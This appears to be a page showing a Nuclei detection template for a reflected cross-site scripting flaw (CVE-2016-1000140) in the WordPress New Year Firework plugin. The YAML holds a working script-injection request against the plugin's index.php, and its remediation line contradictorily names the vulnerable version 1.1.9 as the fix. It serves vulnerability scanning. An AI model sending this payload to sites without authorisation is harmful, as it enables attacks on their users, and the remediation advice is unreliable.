WordPress New Year Firework <=1.1.9 - Cross-Site Scripting

ID: CVE-2016-1000140

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,xss,wp-plugin,new-year-firework_project

Description

WordPress New Year Firework 1.1.9 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2016-1000140

info:
  name: WordPress New Year Firework <=1.1.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress New Year Firework 1.1.9 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: |
    Update to the latest version of the WordPress New Year Firework plugin (1.1.9) to mitigate this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=453
    - https://wordpress.org/plugins/new-year-firework
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000140
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000140
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.45851
    cpe: cpe:2.3:a:new-year-firework_project:new-year-firework:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "new-year-firework_project"
    product: "new-year-firework"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,new-year-firework_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/new-year-firework/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'New Year Firework ='

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/new-year-firework/firework/index.php?text=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402201d4151d96abc6eef60df325d4ee10511a7c88beb56031babc10e141b5d807eae0220016fd1d9eb4cff040de2365dc3f4c1ea6891a363eb5abcef0e975c9fef1334c3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000140.yaml"

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